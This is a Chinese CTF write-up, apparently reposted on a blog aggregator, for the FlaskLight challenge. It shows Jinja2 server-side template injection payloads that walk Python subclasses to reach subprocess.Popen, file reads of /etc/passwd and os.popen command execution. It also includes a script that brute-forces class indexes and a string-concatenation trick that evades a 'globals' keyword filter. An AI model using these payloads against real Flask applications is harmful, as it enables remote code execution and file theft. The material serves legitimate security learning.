[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤

这篇具有很好参考价值的文章主要介绍了[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

subprocess.Popen

FILE

warnings.catch_warnings

site._Printer


这题很明显就是 SSTI了

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

源代码

我们试试看

{{7*7}}

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

然后我们就开始吧

原本我的想法是直接{{url_for.__globals__}}

但是回显是直接500 猜测过滤 我们正常来吧

{{"".__class__}}  查看当前情况

{{"".__class__.__base__}} 查看基类 这里发现没有利用的 我们修改代码

{{"".__class__.__mro__}}  查看全部类  发现存在<type 'object'>了



{{"".__class__.__mro__[2].__subclasses__()}}  查看object的子类

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

这里我们需要 os 来调用

但是这里存在一个类 可以不需要os

subprocess.Popen

Python3 subprocess | 菜鸟教程

需要参数

("命令",shell=True,stdout=-1)

这里 stdout  就是指定输出 PIPE

然后我们可以使用 其方法来进行交互

("命令",shell=True,stdout=-1).communicate()

这样我们就可以实现rce

首先通过 脚本跑出来其的位数

import time

import  requests

base_url="http://1a3ad76d-35d3-4a35-97fb-8997c87bf989.node4.buuoj.cn:81/?search="

for i in range(300):
    payload="{{\"\".__class__.__mro__[2].__subclasses__()[%s]}}"%i
    r = requests.get(url=base_url + payload)
    if "subprocess.Popen" in r.text:
        print(i)
    if r.status_code == 429:
        time.sleep(0.5)

跑出来是258

我们开始构造

?search={{''.__class__.__mro__[2].__subclasses__()[258]("ls",shell=True,stdout=-1).communicate()[0].strip()}}

最后的.communicate()[0].strip() 通过 communicate方法 输出 并且指定数组 去除空白符

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

我们看看 flasklight看看

?search={{''.__class__.__mro__[2].__subclasses__()[258]("cat /flasklight/coomme_geeeett_youur_flek",shell=True,stdout=-1).communicate()[0].strip()}}

FILE

这是另一个方法 通过file读取文件

首先我们要测试一下

先查找一下 file

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

发现是40

然后我们看看

{{"".__class__.__mro__[2].__subclasses__()[40]}}
/?search={{"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()}}

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

读取成功

然后我们去读一下命令行吧

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

发现读出了路径

我们看看这个py

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

但是还是没有办法直接读取出来 因为不知道flag的文件名字

warnings.catch_warnings

我们首先找一下这个类的位数

59

{{"".__class__.__mro__[2].__subclasses__()[59].__init__}}

这里就卡住了 因为我们还是需要 globals的参与

我们如何绕过过滤呢

{{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']}}

这样就可以

我们在上面也知道 是通过匹配过滤的

做到这个我们其实就可以正常rce了 但是还是完善一下这个类的用法吧

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

这里我们能发现 这个类没有加载 os 需要我们手动加载

我们需要在其

['__builtins__']['eval']

 下导入

payload

?search={{"".__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

这样就借助 os 实现了 rce

site._Printer

我们知道了 globals可以拼接绕过

这个方法也可以实现我们看看里面是否内置了 os

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']}}

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

发现存在 我们直接rce即可

?search={{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤,BUUctf,服务器

最后读取即可文章来源地址https://www.toymoban.com/news/detail-730076.html

到了这里,关于[CSCCTF 2019 Qual]FlaskLight 过滤 url_for globals 绕过globals过滤的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Python框架【模板继承、继承模板实战、装饰器、蓝图(介绍、单文件、目录结构、模版文件、静态文件 url_for函数子域名实现)】(五)

    👏作者简介:大家好,我是爱敲代码的小王,CSDN博客博主,Python小白 📕系列专栏:python入门到实战、Python爬虫开发、Python办公自动化、Python数据分析、Python前后端开发 📧如果文章知识点有错误的地方,请指正!和大家一起学习,一起进步👀 🔥如果感觉博主的文章还不错的

    2024年02月10日
    浏览(36)
  • GCNet: Global Context Network(ICCV 2019)原理与代码解析

    paper: GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond official implementaion: https://github.com/xvjiarui/GCNet Third party implementation: https://github.com/open-mmlab/mmcv/blob/master/mmcv/cnn/bricks/context_block.py 通过捕获long-range dependency提取全局信息,对各种视觉任务都是很有帮助的。Non-local Ne

    2024年02月12日
    浏览(25)
  • 论文笔记--GloVe: Global Vectors for Word Representation

    标题:GloVe: Global Vectors for Word Representation 作者:Jeffrey Pennington, Richard Socher, Christopher D. Manning 日期:2014 期刊:EMNLP   文章提出了一种新的单词表示的训练方法:Glove。该方法结合了基于统计方法和基于上下文窗口方法的优势,在多个下游任务上超越了当下SOTA方法的表现。

    2024年02月15日
    浏览(26)
  • SpringSecurity过滤指定url【.antMatchers(***).permitAll()】失效问题

    在使用SpringSecurity作为后端验证框架时,遇到配置一些接口不需要token验证,直接放行,但是配置之后没有生效,一直究其原因。 因为要进行登录认证,就放行了一部分url无需认证权限控制。 然后其他的所有url都需要进行认证权限控制。 配置代码如下: 配置的忽略验证的路

    2024年02月09日
    浏览(43)
  • springsecurity过滤指定url【.antMatchers(***).permitAll()】失效分析

    最近在写一个前端端分离的微服务项目,使用到了网关zuul,然后网关的权限控制是通过springsecurity来实现的,真是踩了很多坑。 项目配置 因为要进行登录认证,就放行了一部分url无需认证权限控制。 然后其他的所有url都需要进行认证权限控制。 配置代码如下: 抛出异常

    2024年02月02日
    浏览(24)
  • 腾达(Tenda)FH451路由器通过设置URL过滤限制网页访问

    适用路由器型号:F450/F451/F453/Ff455/F456/FH450/FH451 通过设置URL过滤来限制连接到该路由器下打开的网页,通过进入到路由器管理界面中(在地址栏中输入默认IP地址:192.168.0.1),在安全设置-URL过滤,中进行设置。 登陆管理界面 你需要登录到路由器管理界面来进行设置,此时,

    2024年02月06日
    浏览(49)
  • LGFormer:LOCAL TO GLOBAL TRANSFORMER FOR VIDEO BASED 3D HUMAN POSE ESTIMATION

    基于视频的三维人体姿态估计的局部到全局Transformer 作者:马海峰 *,陆克 * †,薛健 *,牛泽海 *,高鹏程† *            中国科学院大学工程学院,北京100049             鹏程实验室,深圳518055 来源:2022 IEEE International Conference on Multimedia and Expo (IEEE ICME) 基于Transformer的

    2024年02月09日
    浏览(35)
  • [论文阅读笔记23]Adaptive Sparse Convolutional Networks with Global Context Enhancement for ... on drone

    最近正在痛苦改论文中…还没投出去, 心情糟糕 所以不如再做一点笔记… 论文题目: Adaptive Sparse Convolutional Networks with Global Context Enhancement for Faster Object Detection on Drone Images 论文地址: 论文 代码地址: 代码 这是一篇CVPR2023的文章, 是无人机数据集的小目标检测. 文章针对小尺寸目

    2024年02月04日
    浏览(36)
  • Efficient Global 2D-3D Matching for Camera Localization in a Large-Scale 3D Map

    由于paper并没有给出源码,我们找到了相似的源码:https://github.com/nadiawangberg/structure-based-visual-localization。 这是一个相机内部参数的文本文件,其中包含了一个内部参数矩阵K。该矩阵的元素用于将3D世界坐标系中的点转换为2D图像坐标系中的点。这个文件中的矩阵表示相机的内

    2024年02月10日
    浏览(25)
  • 自然语言处理从入门到应用——全局向量的词嵌入:GloVe(Global Vectors for Word Representation)词向量

    分类目录:《自然语言处理从入门到应用》总目录 无论是基于神经网络语言模型还是word2vec的词向量预训练方法,本质上都是利用文本中词与词在局部上下文中的共现信息作为自监督学习信号。除此之外,另一类常用于估计词向量的方法是基于矩阵分解的方法,例如潜在语义

    2024年02月09日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包